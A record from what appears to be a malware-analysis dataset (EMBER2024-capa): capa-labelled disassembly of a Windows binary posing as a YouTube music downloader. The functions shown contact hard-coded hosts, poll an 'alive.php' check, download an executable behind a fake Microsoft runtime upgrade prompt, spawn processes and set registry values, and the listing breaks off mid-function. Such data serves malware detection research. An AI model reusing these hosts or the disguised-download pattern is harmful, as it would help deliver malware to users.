joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401cd0f8
Capabilities:
Create http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x140279780]
xor rax, rsp
mov qword [rsp + 0x440], rax
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x1402ab660]
call qword [sym.imp.WININET.dll_InternetOpenA]
mov rsi, rax
and qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x84000101
or r9d, 0xffffffff
xor r8d, r8d
lea rdx, str.http:__api.virtualaudiostreaming.net_c.txt
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdi, rax
or rbx, 0xffffffffffffffff
test rax, rax
je 0x1401cd217
lea r9, [rsp + 0x30]
lea rdx, [rsp + 0x40]
mov rcx, rax
call fcn.1401cdb84
test al, al
je 0x1401cd1e5
cmp dword [rsp + 0x30], 0
jbe 0x1401cd1e5
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x30]
call fcn.140002b8c
nop
lea rcx, [rsp + 0x30]
call fcn.140002a14
mov rcx, rax
call fcn.14000291c
mov r8, qword [rsp + 0x30]
lea rdx, str.doqnwekllhmtj.cloudfront.net
lea rcx, [0x1402ab648]
call fcn.140003bc4
nop
mov rdx, qword [rsp + 0x30]
add rdx, 0xffffffffffffffe8
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x1401cd1e5
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
call fcn.1401cd274
test eax, eax
jne 0x1401cd23f
lea rdx, str.http:__doqnwekllhmtj.cloudfront.net
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x1401cd201
lea rcx, [0x1402ab648]
call fcn.14000372c
call fcn.1401cd274
test eax, eax
jne 0x1401cd23f
lea rdx, str.http:__ytmusicdownloader.us_
inc rbx
cmp byte [rdx + rbx], 0
jne 0x1401cd227
mov r8d, ebx
lea rcx, [0x1402ab648]
call fcn.14000372c
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140197130
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1401cd274
Capabilities:
Create http request

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x450
mov rax, qword [0x140279780]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rcx, qword [0x1402ab660]
xor ebx, ebx
xor r9d, r9d
mov dword [rsp + 0x20], ebx
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WININET.dll_InternetOpenA]
lea r8, str._php_alive.php
mov rsi, rax
lea rdx, [0x1402ab648]
lea rcx, [rsp + 0x38]
call fcn.140002d2c
mov qword [rsp + 0x28], rbx
or r9d, 0xffffffff
xor r8d, r8d
mov dword [rsp + 0x20], 0x84000101
mov rcx, rsi
mov rdx, qword [rax]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov rdx, qword [rsp + 0x38]
mov rdi, rax
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1401cd310
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
test rdi, rdi
je 0x1401cd35d
lea r9, [rsp + 0x30]
mov rcx, rdi
lea rdx, [rsp + 0x40]
call fcn.1401cdb84
test al, al
je 0x1401cd354
cmp dword [rsp + 0x30], ebx
jbe 0x1401cd354
mov eax, dword [rsp + 0x30]
cmp rax, 0x400
jae 0x1401cd38d
mov byte [rsp + rax + 0x40], bl
cmp byte [rsp + 0x40], 0x6f
jne 0x1401cd354
cmp byte [rsp + 0x41], 0x6b
jne 0x1401cd354
mov ebx, 1
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, ebx
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.140197130
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
call fcn.140197284
int3
Function at 0x1401cda8c
Capabilities:
Get file version info

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x150
mov rax, qword [0x140279780]
xor rax, rsp
mov qword [rsp + 0x140], rax
mov r15, rdx
mov r14, rcx
call fcn.14001ea5c
mov r8d, 0x104
lea rdx, [rsp + 0x30]
mov rcx, qword [rax + 0x10]
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xor ebx, ebx
test eax, eax
je 0x1401cdb53
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x30]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
mov edi, eax
test eax, eax
je 0x1401cdb53
mov ecx, edi
call fcn.1400054e8
mov edx, dword [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov r9, rax
mov r8d, edi
mov rsi, rax
call qword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x1401cdb47
lea r9, [rsp + 0x24]
mov rcx, rsi
lea r8, [rsp + 0x28]
lea rdx, [0x14023dba0]
call qword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x1401cdb47
mov rcx, qword [rsp + 0x28]
mov ebx, 1
mov eax, dword [rcx + 8]
mov dword [r14], eax
mov eax, dword [rcx + 0xc]
mov dword [r15], eax
mov rcx, rsi
call fcn.140003540
mov eax, ebx
jmp 0x1401cdb55
xor eax, eax
mov rcx, qword [rsp + 0x140]
xor rcx, rsp
call fcn.140197130
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret

Function at 0x1401cdb84
Capabilities:
Read data from internet
Receive data

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x240
mov rax, qword [0x140279780]
xor rax, rsp
mov qword [rsp + 0x230], rax
and dword [rsp + 0x20], 0
mov rbx, rdx
mov rsi, rcx
xor edx, edx
lea rcx, [rsp + 0x30]
mov r8d, 0x200
mov rdi, r9
call fcn.1401d8790
xor edx, edx
mov r8d, 0x400
mov rcx, rbx
call fcn.1401d8790
and dword [rdi], 0
lea r9, [rsp + 0x20]
mov r8d, 0x200
lea rdx, [rsp + 0x30]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1401cdbf9
xor ecx, ecx
mov dword [rsp + 0x20], ecx
jmp 0x1401cdbfd
mov ecx, dword [rsp + 0x20]
test ecx, ecx
je 0x1401cdc38
mov edx, dword [rdi]
lea eax, [rdx + rcx]
cmp eax, 0x400
ja 0x1401cdc64
mov r8d, ecx
lea rcx, [rbx + rdx]
lea rdx, [rsp + 0x30]
call fcn.1401d80f0
mov eax, dword [rsp + 0x20]
add dword [rdi], eax
test eax, eax
je 0x1401cdc38
or edx, 0xffffffff
mov rcx, rbx
call fcn.1401a5060
test rax, rax
je 0x1401cdbd4
or edx, 0xffffffff
mov rcx, rbx
call fcn.1401a5060
test rax, rax
sete al
mov rcx, qword [rsp + 0x230]
xor rcx, rsp
call fcn.140197130
add rsp, 0x240
pop rdi
pop rsi
pop rbx
ret
xor al, al
jmp 0x1401cdc49
Function at 0x1401cee0c
Capabilities:
Create a process with modified i/o handles and window
Create pipe
Create process on windows
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rdi
push r15
lea rbp, [rsp - 0x1030]
mov eax, 0x1130
call fcn.140197c80
sub rsp, rax
mov rax, qword [0x140279780]
xor rax, rsp
mov qword [rbp + 0x1020], rax
mov rbx, rdx
mov rdi, rcx
mov qword [rsp + 0x68], rcx
xor r15d, r15d
mov dword [rsp + 0x78], 0x18
mov dword [rbp - 0x78], 1
mov qword [rbp - 0x80], r15
xor r9d, r9d
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CreatePipe]
xor r8d, r8d
lea edx, [r15 + 1]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
xor edx, edx
lea r8d, [r15 + 0x68]
lea rcx, [rbp - 0x50]
call fcn.1401d8790
mov dword [rbp - 0x50], 0x68
mov rax, qword [rsp + 0x60]
mov qword [rbp + 0x10], rax
mov qword [rbp + 8], rax
mov dword [rbp - 0x14], 0x101
mov word [rbp - 0x10], r15w
lea rax, [rbp - 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x50]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r15
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x60]
test eax, eax
je 0x1401cefe0
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140007bec
mov rcx, rax
test rax, rax
je 0x1401cf02c
mov rax, qword [rax]
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x68], rax
mov ebx, 0xfff
jmp 0x1401cef61
mov eax, dword [rsp + 0x50]
test eax, eax
je 0x1401cef81
cmp rax, 0x1000
jae 0x1401cf026
mov byte [rbp + rax + 0x20], r15b
lea rax, [rbp + 0x20]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], r15b
jne 0x1401cef4a
lea rdx, [rbp + 0x20]
lea rcx, [rsp + 0x68]
call fcn.140002de8
mov qword [rsp + 0x20], r15
lea r9, [rsp + 0x50]
mov r8d, ebx
lea rdx, [rbp + 0x20]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x1401cef29
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
or edx, 0xffffffff
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x68]
lea rcx, [rbx - 0x18]
call fcn.140003958
add rax, 0x18
mov qword [rdi], rax
or ecx, 0xffffffff
lock xadd dword [rbx - 8], ecx
sub ecx, 1
jg 0x1401cf000
mov rcx, qword [rbx - 0x18]
mov r8, qword [rcx]
lea rdx, [rbx - 0x18]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
jmp 0x1401cf000
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.error
mov rcx, rdi
call fcn.140002b8c
mov rax, rdi
mov rcx, qword [rbp + 0x1020]
xor rcx, rsp
call fcn.140197130
mov rbx, qword [rsp + 0x1160]
add rsp, 0x1130
pop r15
pop rdi
pop rbp
ret
call fcn.140197284
nop
mov ecx, 0x80004005
call fcn.140003930
int3
Function at 0x1401d0234
Capabilities:
Get file version info

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
push rsi
push rdi
push r14
sub rsp, 0x50
mov r14, rdx
mov rsi, rcx
lea rdx, [rax + 0x20]
call qword [sym.imp.VERSION.dll_GetFileVersionInfoSizeA]
xor ebx, ebx
mov dword [rsp + 0x80], eax
test eax, eax
je 0x1401d02fe
mov ecx, eax
call fcn.1400054e8
mov r8d, dword [rsp + 0x80]
mov r9, rax
mov edx, dword [rsp + 0x88]
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.VERSION.dll_GetFileVersionInfoA]
test eax, eax
je 0x1401d02f4
lea r9, [rsp + 0x80]
mov dword [rsp + 0x80], 0x34
lea r8, [rsp + 0x40]
mov rcx, rdi
lea rdx, [0x14023dba0]
call qword [sym.imp.VERSION.dll_VerQueryValueA]
test eax, eax
je 0x1401d02f4
mov rax, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
or dword [rsp + 0x38], 0xffffffff
mov dword [rsp + 0x30], ebx
mov dword [rsp + 0x28], ebx
movzx r9d, word [rax + 0xe]
movzx r8d, word [rax + 8]
movzx edx, word [rax + 0xa]
mov dword [rsp + 0x20], ebx
call fcn.140002ac4
mov rax, qword [rsp + 0x48]
mov ebx, 1
mov qword [r14], rax
mov rcx, rdi
call fcn.140003540
mov eax, ebx
mov rbx, qword [rsp + 0x70]
add rsp, 0x50
pop r14
pop rdi
pop rsi
ret
Function at 0x1401d0314
Capabilities:
Check if file exists

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
mov r15, rcx
lea rcx, str.196BB40D_1578_3D01_B289_BEFC77A11A1E
call qword [sym.imp.msi.dll_MsiRecordGetInteger]
cmp eax, 5
je 0x1401d04e0
lea rcx, str.DA5E371C_6333_3D8A_93A4_6FD5B20BCC6E
call qword [sym.imp.msi.dll_MsiRecordGetInteger]
cmp eax, 5
je 0x1401d04e0
lea rcx, str.F0C3E5D1_1ADE_321E_8167_68EF0DE699A5
call qword [sym.imp.msi.dll_MsiRecordGetInteger]
cmp eax, 5
je 0x1401d04e0
lea rcx, str.1D8E6291_B0D5_35EC_8441_6616F567A0F7
call qword [sym.imp.msi.dll_MsiRecordGetInteger]
cmp eax, 5
je 0x1401d04e0
lea r8, str._vcredist_x86.exe
lea rdx, [0x1402ab448]
lea rcx, [rbp + 0x38]
call fcn.140002d2c
nop
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x1401d04be
lea rax, [rbp + 0x48]
mov qword [rbp - 0x20], rax
lea rax, [rbp - 0x40]
mov qword [rbp - 0x18], rax
lea rax, [rbp - 0x38]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x40]
mov qword [rbp - 8], rax
lea rdx, str.Upgrading_library
lea rcx, [rbp + 0x48]
call fcn.140002b8c
mov r14, rax
lea r8, [0x1402ab658]
lea rdx, [0x1402ab660]
lea rcx, [rbp - 0x28]
call fcn.14000287c
mov rsi, rax
lea rdx, str.Please_wait.
lea rcx, [rbp - 0x40]
call fcn.140002b8c
mov rdi, rax
lea rdx, str.Upgrading_Microsoft_runtime_library_for_the_first_running..
lea rcx, [rbp - 0x38]
call fcn.140002b8c
mov rbx, rax
mov rcx, qword [rbp + 0x38]
add rcx, 0xffffffffffffffe8
call fcn.140003958
add rax, 0x18
mov qword [rbp + 0x40], rax
lea r8, str._download_updates_vcredist_x86.exe
lea rdx, [0x1402ab648]
lea rcx, [rbp - 0x30]
call fcn.140002d2c
nop
mov qword [rsp + 0x38], r14
mov rcx, qword [r15]
mov qword [rsp + 0x30], rcx
mov rcx, qword [rsi]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rdi
mov r9, rbx
lea r8, [rbp + 0x40]
mov rdx, qword [rax]
lea rcx, [0x1402aa390]
call fcn.1401d5a40
nop
mov rdx, qword [rbp - 0x30]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1401d049f
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp - 0x28]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1401d04be
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rdx, qword [rbp + 0x38]
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1401d04dc
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x1401d04e5
mov eax, 1
mov rbx, qword [rsp + 0xb0]
add rsp, 0x80
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x1401d08a8
Capabilities:
Delete file
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x140
mov rax, qword [0x140279780]
xor rax, rsp
mov qword [rsp + 0x130], rax
mov rbx, rcx
lea r9, [rsp + 0x20]
mov rcx, qword [rcx]
lea rdx, [0x14023e24c]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_GetTempFileNameA]
test eax, eax
je 0x1401d0915
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov rdx, qword [rbx]
mov edi, eax
sub rdx, 0x18
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x1401d0911
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, edi
jmp 0x1401d0934
mov rdx, qword [rbx]
sub rdx, 0x18
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1401d0932
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.140197130
mov rbx, qword [rsp + 0x158]
add rsp, 0x140
pop rdi
ret
Function at 0x1401d095c
Capabilities:
Create directory

Disassembly:
mov qword [rsp + 0x20], rbx
mov qword [rsp + 8], rcx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x40
mov rcx, qword [0x1402ab620]
add rcx, 0xffffffffffffffe8
call fcn.140003958
lea rbx, [rax + 0x18]
mov qword [rbp + 0x48], rbx
mov rcx, rax
call fcn.140003958
add rax, 0x18
mov qword [rbp + 0x50], rax
lea rcx, [rbp + 0x50]
call fcn.1401d0b38
test al, al
je 0x1401d09b7
mov esi, 1
jmp 0x1401d0ada
movsxd rax, dword [rbx - 0x10]
lea ecx, [rax - 1]
test ecx, ecx
js 0x1401d0b1b
cmp ecx, eax
jg 0x1401d0b1b
cmp byte [rax + rbx - 1], 0x5c
je 0x1401d09e4
mov dl, 0x5c
lea rcx, [rbp + 0x48]
call fcn.1400046bc
mov rbx, qword [rbp + 0x48]
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x20], xmm0
and qword [rbp - 0x10], 0
call fcn.140007bec
mov rcx, rax
test rax, rax
je 0x1401d0b26
mov rax, qword [rax]
call qword [rax + 0x18]
lea rdi, [rax + 0x18]
mov qword [rbp + 0x40], rdi
xor r13b, r13b
xor r12d, r12d
mov eax, dword [rbx - 0x10]
test eax, eax
jle 0x1401d0a8e
xor r14d, r14d
lea esi, [r12 + 1]
test r14, r14
js 0x1401d0b10
cmp r12d, eax
jg 0x1401d0b10
mov dl, byte [r14 + rbx]
cmp dl, 0x5c
jne 0x1401d0a73
mov r15, qword [rbp - 0x18]
cmp r15, qword [rbp - 0x10]
je 0x1401d0a61
lea rcx, [rdi - 0x18]
call fcn.140003958
add rax, 0x18
mov qword [r15], rax
add qword [rbp - 0x18], 8
jmp 0x1401d0a71
lea r8, [rbp + 0x40]
mov rdx, r15
lea rcx, [rbp - 0x20]
call fcn.1400042a4
mov dl, 0x5c
lea rcx, [rbp + 0x40]
call fcn.1400046bc
add r12d, esi
add r14, rsi
mov eax, dword [rbx - 0x10]
mov rdi, qword [rbp + 0x40]
cmp r12d, eax
jl 0x1401d0a25
mov rbx, qword [rbp - 0x20]
jmp 0x1401d0aa9
xor edx, edx
mov rcx, qword [rbx]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne r13b
add rbx, 8
cmp rbx, qword [rbp - 0x18]
jne 0x1401d0a94
mov sil, r13b
lea rdx, [rdi - 0x18]
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1401d0acd
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rbp - 0x20]
call fcn.1400040e8
mov rbx, qword [rbp + 0x48]
lea rdx, [rbx - 0x18]
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x1401d0af5
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov al, sil
mov rbx, qword [rsp + 0x98]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ecx, 0x80070057
call fcn.140003930
nop
mov ecx, 0x80070057
call fcn.140003930
nop
mov ecx, 0x80004005
call fcn.140003930
int3

Function at 0x1401d0b38
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rdi, rcx
mov rcx, qword [rcx]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x1401d0b5b
test al, 0x10
je 0x1401d0b5b
mov bl, 1
jmp 0x1401d0b5d
xor bl, bl
mov rdx, qword [rdi]
sub rdx, 0x18
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x1401d0b7b
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov al, bl
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x1401d12a4
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x160
mov rax, qword [0x140279780]
xor rax, rsp
mov qword [rsp + 0x150], rax
mov rdi, rcx
call fcn.14001bda4
lea rcx, [rdi + 0x588]
lea rdx, str.Download_and_Convert_
call fcn.140011c1c
lea rcx, [rdi + 0x670]
lea rdx, str.Also_Download_Video_
call fcn.140011c1c
lea rcx, [rdi + 0x758]
lea rdx, str.Compatible_with_TV_IPhone
call fcn.140011c1c
lea rcx, [rdi + 0xb00]
lea rdx, str.Click_Here_To_Get_Pro_Version_
call fcn.140011c1c
mov edx, 0x420
mov rcx, rdi
call fcn.140011764
mov rcx, rax
lea rdx, str.paste_url_like:_https:__www.youtube.com_watch_vnv_5K4YDsew
call fcn.140011c1c
xor edx, edx
mov dword [rdi + 0x1610], 0xff0000
lea rbx, [rdi + 0x350]
mov rcx, rbx
lea r8d, [rdx + 1]
call fcn.14001efb4
mov rdx, qword [0x1402ab620]
mov rcx, rbx
call fcn.140011c1c
movsxd r8, dword [0x1402ab63c]
mov ebx, 0xf1
mov rcx, qword [rdi + 0x6b0]
mov edx, ebx
xor r9d, r9d
call qword [sym.imp.USER32.dll_SendMessageA]
movsxd r8, dword [0x1402ab644]
xor r9d, r9d
mov rcx, qword [rdi + 0x798]
mov edx, ebx
call qword [sym.imp.USER32.dll_SendMessageA]
lea rcx, [rdi + 0xa10]
xor edx, edx
call fcn.1400116f4
mov rcx, qword [rdi + 0x968]
mov r9d, 0x640000
xor r8d, r8d
mov edx, 0x401
call qword [sym.imp.USER32.dll_SendMessageA]
cmp dword [0x1402ab640], 1
mov rcx, rdi
je 0x1401d13d9
call fcn.1401d1024
jmp 0x1401d13de
call fcn.1401d1164
lea rcx, [rdi + 0x268]
call fcn.140011b1c
xor r9d, r9d
lea rax, [rsp + 0x30]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x1c]
call qword [sym.imp.SHELL32.dll_SHGetFolderLocation]
mov rcx, qword [rsp + 0x30]
lea rdx, [rsp + 0x40]
call qword [sym.imp.SHELL32.dll_SHGetPathFromIDListA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ole32.dll_CoTaskMemFree]
or r8, 0xffffffffffffffff
lea rax, [rsp + 0x40]
xor ebx, ebx
inc r8
cmp byte [rax + r8], bl
jne 0x1401d142c
lea rdx, [rsp + 0x40]
lea rcx, [0x1402ab440]
call fcn.14000372c
mov edx, 0x3fd
mov rcx, rdi
call fcn.140011764
mov rcx, rbx
test rax, rax
je 0x1401d145f
mov rcx, qword [rax + 0x40]
lea rsi, [0x14023eb90]
mov r8, rsi
mov rdx, rsi
call qword [sym.imp.UxTheme.dll_SetWindowTheme]
mov edx, 0x3fe
mov rcx, rdi
call fcn.140011764
mov rcx, rbx
test rax, rax
je 0x1401d148b
mov rcx, qword [rax + 0x40]
mov r8, rsi
mov rdx, rsi
call qword [sym.imp.UxTheme.dll_SetWindowTheme]
mov edx, 0x43b
mov rcx, rdi
call fcn.140011764
mov rcx, rbx
test rax, rax
je 0x1401d14b0
mov rcx, qword [rax + 0x40]
mov r8, rsi
mov rdx, rsi
call qword [sym.imp.UxTheme.dll_SetWindowTheme]
mov edx, 0x3fb
mov rcx, rdi
call fcn.140011764
mov rcx, rbx
test rax, rax
je 0x1401d14d5
mov rcx, qword [rax + 0x40]
mov r8, rsi
mov rdx, rsi
call qword [sym.imp.UxTheme.dll_SetWindowTheme]
mov edx, 0x43e
mov rcx, rdi
call fcn.140011764
test rax, rax
je 0x1401d14f7
mov rbx, qword [rax + 0x40]
mov r8, rsi
mov rdx, rsi
mov rcx, rbx
call qword [sym.imp.UxTheme.dll_SetWindowTheme]
mov eax, 1
mov rcx, qword [rsp + 0x150]
xor rcx, rsp
call fcn.140197130
lea r11, [rsp + 0x160]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret
Function at 0x1401d42a8
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x20], rsi
mov dword [r11 + 0x18], r8d
push rdi
sub rsp, 0x30
mov rsi, rdx
lea rax, [r11 + 8]
mov rdx, qword [rcx + 0x18]
mov rdi, rcx
mov rcx, qword [rcx + 8]
mov r9d, 0x20006
xor r8d, r8d
mov qword [r11 - 0x18], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rdx, qword [rsi]
test eax, eax
je 0x1401d4306
add rdx, 0xffffffffffffffe8
or eax, 0xffffffff
lock xadd dword [rdx + 0x10], eax
sub eax, 1
jg 0x1401d4302
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x1401d436f
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], 4
mov r9d, 3
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebx, ebx
test eax, eax
sete bl
cmp dword [rdi + 0x10], 0
jne 0x1401d4344
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rsi]
sub rdx, 0x18
or ecx, 0xffffffff
lock xadd dword [rdx + 0x10], ecx
sub ecx, 1
jg 0x1401d436d
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
Function at 0x1401d4388
Capabilities:
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x10], rbx
mov qword [r11 + 0x18], rbp
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x30
mov rbx, rdx
lea rax, [r11 + 8]
mov rdx, qword [rcx + 0x18]
mov rdi, r8
mov rsi, rcx
mov qword [r11 - 0x18], rax
mov rcx, qword [rcx + 8]
mov r9d, 0x20006
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov rdx, qword [rbx]
test eax, eax
je 0x1401d440c
sub rdx, 0x18
or ebx, 0xffffffff
mov eax, ebx
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x1401d43e8
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdx, qword [rdi]
mov eax, ebx
sub rdx, 0x18
lock xadd dword [rdx + 0x10], eax
add eax, ebx
test eax, eax
jg 0x1401d4405
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
xor eax, eax
jmp 0x1401d4496
mov rcx, qword [rdi]
mov r9d, 1
xor r8d, r8d
mov eax, dword [rcx - 0x10]
add eax, r9d
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xor ebp, ebp
test eax, eax
sete bpl
cmp dword [rsi + 0x10], 0
jne 0x1401d444b
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegFlushKey]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbx]
sub rdx, 0x18
or ebx, 0xffffffff
mov eax, ebx
